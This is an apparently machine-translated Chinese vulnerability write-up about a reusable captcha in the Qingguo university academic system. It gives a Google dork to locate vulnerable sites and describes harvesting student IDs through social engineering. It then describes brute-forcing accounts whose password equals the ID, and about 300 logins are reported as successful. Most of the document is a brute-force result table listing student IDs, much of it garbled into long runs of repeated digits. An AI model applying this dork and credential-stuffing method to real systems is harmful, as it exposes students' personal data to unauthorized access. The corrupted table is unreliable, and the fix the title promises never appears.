漏洞简单/修复方案将附上
1.验证码可以重复使用，导致撞仓漏洞
近年来，随着国外的发展Gmail国内许多大型电子商务公司都受到了数据库碰撞的攻击，数据库碰撞已成为一个高风险的漏洞。通过数据库碰撞，黑客可以成功地窃取大量账户作为进一步攻击的手段。目前，全国许多大学使用的青果教务系统验证码尚未处理，导致可重复使用。最后，他们可以通过一些暴力列举获得学生信息
谷歌：intitle:”学生综合管理系统” inurl:”xsweb” 可以得到很多青果管理系统
主站登陆处
案例1.http://**.**.**.**/
首先，通过社工获得学号：
http://**.**.**.**/link?url=Yjp5QaLrzSDK9GQUuKROAtvvNH9iRGbqIJ8I7xsfAX0hfyrilWCR2WXsX14deKXmT_iHQggLbBzszA_EeYd9Kq
登录后抓包，设置帐户密码2013100000-2013100410爆破400 账户成功发现300
code 区域
Payload1 Payload2 Length20131000011033333033330333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333313333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333313333333333333333333333333333333333333333333333333333332013100136 10833
2013100137 2013100137 10833
2013100138 2013100138 10833
2013100139 2013100139 10833
2013100140 20131001400140 10833
2013100141 20131001411 10833
2013100142 2013100142年 2013130131301313100101401420142014201420142014201424201421313014201420142014201420142014201420142014201 10833
2013100143 2013100143 10833
2013100144 20131001444 10833
2013100151 20131001511511 20131013131015151515151515151515151515151515151515151515151515151511515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515110833
2013100152 2013100152 2013131013131013150151520152015201520152015201520152015215215210833
2013100153 2013100153 201313100131310131301530153015301530153015301530153015330153301535333333333333015301530153015301530153015353535353535310833
2013100154 2013100154 10833
2013100155 201310015555 10833
2013100156 201310015656 10833
2013100157 2013100157 10833
2013100158 2013100158 10833
2013100159 2013100159年 20131313100150150150159159159159159159595955555555559595959595955555555555555555555555555555555595555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555501013013131013101301313131313101301013131313111110101010101010101010101010101010110833
2013100160 10833
2013100161 10833
2013100162 2013100162 10833
2013100163 10833
2013100164 10833
2013100165 10833
2013100166 20131001666 10833
2013100167 2013100167 10833
2013100168 2013100168 10833
2013100169 2013100169年 20130160160169130169169016916901691690169016901690169016901690169016901690169016901690169016901690169016901690169016901690130130169016901690169013013013013013013013130160169013013016016016016016016016901601016901601301301601601601601601601601601301601016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016016910833
2013100170 2013100170 10833
2013100171 2013100171 10833
2013100172 2013100172 10833
2013100173 2013100173 10833
2013100174 2013100174 10833
2013100175 2013100175 10833
2013100176 2013100176 201310131310176017601760176017601760176017601760176017601760176501761313176017610833
2013100177 2013100177 10833
2013100178 2013100178 10833
2013100179 2013100179 10833
2013100180 2013100180001800 20130180180180180180180180180180180180018018018001801801801801801801801801801801801801801800180018018001800180180180180180180180180180180180180180180180180180180180180180180180180180180180180180180180180180 10833
2013100191 20131001911 10833
2013100192 2013100192 201313131013131001019201920192019201920131301319201920130192019201920192019201920192 10833
2013100193 2013100193 20130131301301301930193193019301930193019301930193019330193019301930193019301930193019301930193011930193019310833
2013100194 2013100194年 2013013130131301940194019401940194019401941940194013130194013131940194019401940194019444444 10833
2013100195 2013100195 10833
2013100196 2013100196 10833
2013100197 2013100197 10833
2013100198 20131001988 10833
2013100199 20131001990199 10833
2013100200 10833
2013100201 20131002011010101 10833
2013100202 20131002020202 10833
2013100203 2013100203303 201313100131002020202030203020301303030303030303 3013013013013013013013020202020202020303303303030303033303333330333333033303333033 10833
2013100204 201310020204年 10833
2013100205 20131002055055 20130130131301313100020202020205050505050505050505055050550550505555555550131301301302050505505050555505555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 10833
2013100206 2013100206 10833
2013100207 20131002077 10833
2013100208 2013100208年 10833
2013100209 20131002009年 10833
2013100210 20131002100 10833
2013100211 2013100211111 10833
2013100212 2013100212 10833
2013100213 2013100213年 201301313131313100213131300213131313100213021302130213021302130213131313130213021302130213021313131313130213021302131302131302131302130213131313 21313 10833
2013100214 2013100214年 2013131310013131310013131002102102102131021310210213102102140214021402141414141414141414141414021402140214021402140214021402140214021402140214 10833
2013100215 2013100215 10833
2013100216 2013100216 10833
2013100217 2013100217年 20130131313131310001313131313100213102102172172172172171717171717171717171717171717171717171717171717171717171717171717171717 10833
2013100218 2013100218年 10833
2013100219 2013100219 10833
2013100220 201310020200 20130131313131313100202020202020202020202020202020202202020202020202020202020202020202020202020202020202020202020 10833
2013100221 2013100210211 201301313131313100021310213102131021021021021021212121212102102121210210212121021021021212121212121212121021212121021 10833
2013100222 20131002222 10833
2013100231 2013100231 10833
2013100232 201310023232 10833
2013100233 10833
2013100234 2013100234 10833
2013100235 2013100235 10833
2013100236 2013100236 10833
2013100237 2013100237 10833
2013100238 2013100238 10833
2013100239 2013100239 10833
2013100240 2013100240 2013013131001313100240240240240240240240240 10833
2013100241 10833
20131002422013100242 10833
2013100243 2013100243 10833
2013100244 20131002444 10833
2013100245 2013100245 10833
2013100246 2013100246 10833
2013100247 2013100247 10833
2013100248 2013100248 10833
2013100249 2013100249 10833
2013100250 10833
2013100251 2013100251 10833
20131002522013100252 10833
2013100253 2013100253 10833
2013100254 2013100254 10833
2013100255 201310025555 10833
2013100256 2013100256 10833
2013100257 2013100257 10833
2013100258 2013100258 10833
2013100259 2013100259年 2020201301301313131313131313131313131020202020202502502525555555555595595959595955555555559555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 10833
2013100271 10833
2013100272 2013100272 10833
2013100273 10833
2013100274 10833
2013100275 10833
2013100276 2013100276 2013013131001313100272760276027620131302760201302760131313130276027602760276027660276027602760276027610833
2013100277 2013100277 201301313131001313131002777777702777777720130131313131027777777777777777777777777777775 10833
2013100278 2013100278 10833
2013100279 10833
2013100280 20131002800 10833
2013100281 2013100281 10833
20131002822013100282 10833
2013100283 2013100283 10833
2013100284 2013100284 10833
2013100285 2013100285 10833
2013100286 2013100286 10833
2013100287 2013100287 10833
2013100288 20131002888 10833
2013100289 2013100289 10833
2013100290 20131002900 201313100013100290290290201301300202020020020200202002002002002000 10833
2013100291 2013100291 10833
2013100292 20131002922 20130131313131310020201313130202020202020202020222222022222222222222222222222222222013222222222222220222222222222222222222013 10833
2013100293 2013100293 10833
2013100294 2013100294 10833
2013100295 2013100295 10833
2013100296 2013100296 10833
2013100297 2013100297 10833
2013100298 2013100298 10833
2013100311 10833
2013100312 2013100312 20131310013131031310031312031203120312031203120312031203120312031203120312031203131203120313120312031203120312031312031203120312031313120312031203120312031203120312031203031203120312031203120312031210833
2013100313 10833
2013100314 10833
2013100315
2013100315 108332013100316 2013100316 108332013100317 2013100317 108332013100318 2013100318 108332013100319 2013100319 108332013100320 2013100320 108332013100321 2013100321 108332013100322 2013100322 108332013100323 2013100323 108332013100324 2013100324 108332013100325 2013100325 108332013100326 2013100326 108332013100327 2013100327 108332013100328 2013100328 108332013100329 2013100329 108332013100330 2013100330 108332013100331 2013100331 108332013100332 2013100332 108332013100333 2013100333 108332013100334 2013100334 108332013100335 2013100335 108332013100336 2013100336 108332013100337 2013100337 108332013100338 2013100338 108332013100339 2013100339 108332013100340 2013100340 108332013100351 2013100351 108332013100352 2013100352 108332013100353 2013100353 108332013100354 2013100354 108332013100355 2013100355 108332013100356 2013100356 108332013100357 2013100357 108332013100358 2013100358 108332013100359 2013100359 108332013100360 2013100360 108332013100361 2013100361 108332013100362 2013100362 108332013100363 2013100363 108332013100364 2013100364 108332013100365 2013100365 108332013100366 2013100366 108332013100367 2013100367 108332013100368 2013100368 10833
